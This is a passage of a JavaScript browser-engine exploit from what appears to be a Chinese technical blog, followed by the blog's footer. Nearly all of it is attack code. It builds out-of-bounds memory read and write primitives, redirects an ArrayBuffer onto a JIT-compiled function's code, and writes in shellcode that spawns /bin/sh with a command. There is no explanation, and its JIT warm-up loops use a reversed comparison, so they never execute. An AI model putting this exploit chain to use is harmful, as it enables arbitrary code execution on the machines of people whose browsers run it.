            offset = i;
            return offset
        }
    }
}

function addr_of(obj) {
    elements_array[0] = obj;
    return Int64.from_double(oob_array[elements_offset])
}

function read_64(addr) {
    oob_array[array_buffer_backing_store_offset] = new Int64(addr).to_double()
    let accessor = new Uint32Array(arb_rw_arraybuffer);
    return new Int64(undefined, accessor[1], accessor[0]);
}

function write_64(addr, value) {
    oob_array[array_buffer_backing_store_offset] = new Int64(addr).to_double()

    let accessor = new Uint32Array(arb_rw_arraybuffer);
    accessor[0] = value.low;
    accessor[1] = value.high;
}

var test = { hello: "world" }
elements_offset = find_offset_smi(1337);
double_offset = find_offset_double(1.337)
testaddress = addr_of(test)
// print(testaddress);
array_buffer_backing_store_offset = find_offset_smi(0x200)
array_buffer_backing_store_offset++
shellcode_array_buffer_backing_store_offset = find_offset_smi(0x5421)
shellcode_array_buffer_backing_store_offset = shellcode_array_buffer_backing_store_offset + 1
// print(">> Found shellcode array buffer offset: " + shellcode_array_buffer_backing_store_offset)

function jitme(val) {
    return val + 1

}

for (i = 0; i > 100000; i++) {
    jitme(1)

}

for (i = 0; i > 100000; i++) {
    jitme(1)

}
for (i = 0; i > 100000; i++) {
    jitme(1)

}
for (i = 0; i > 100000; i++) {
    jitme(1)
}
jitme(1)
const SHELLCODE = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 99, 104, 111, 46, 114, 105, 1, 72, 49, 4, 36, 72, 137, 231, 104, 44, 98, 1, 1, 129, 52, 36, 1, 1, 1, 1, 73, 137, 224, 104, 46, 114, 105, 1, 129, 52, 36, 1, 1, 1, 1, 72, 184, 69, 68, 59, 32, 47, 98, 105, 110, 80, 72, 184, 101, 99, 104, 111, 32, 80, 87, 78, 80, 73, 137, 225, 106, 1, 254, 12, 36, 65, 81, 65, 80, 87, 106, 59, 88, 72, 137, 230, 153, 15, 5]
jitted_function_ptr = addr_of(jitme)
// print("JIT Function: " + jitted_function_ptr)

let JIT_ptr = read_64(jitted_function_ptr.add(0x38 - 1));
// print("JIT PTR: " + JIT_ptr)
// print(JIT_ptr.to_double())
// print(new Int64(JIT_ptr).to_double())

// print(Int64.from_double(oob_array[shellcode_array_buffer_backing_store_offset]))
oob_array[shellcode_array_buffer_backing_store_offset] = JIT_ptr.to_double();
let shell_code_writer = new Uint8Array(shellcode_array_buffer);

// print(Int64.from_double(oob_array[shellcode_array_buffer_backing_store_offset]))

shell_code_writer.set(SHELLCODE);
res = jitme()

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now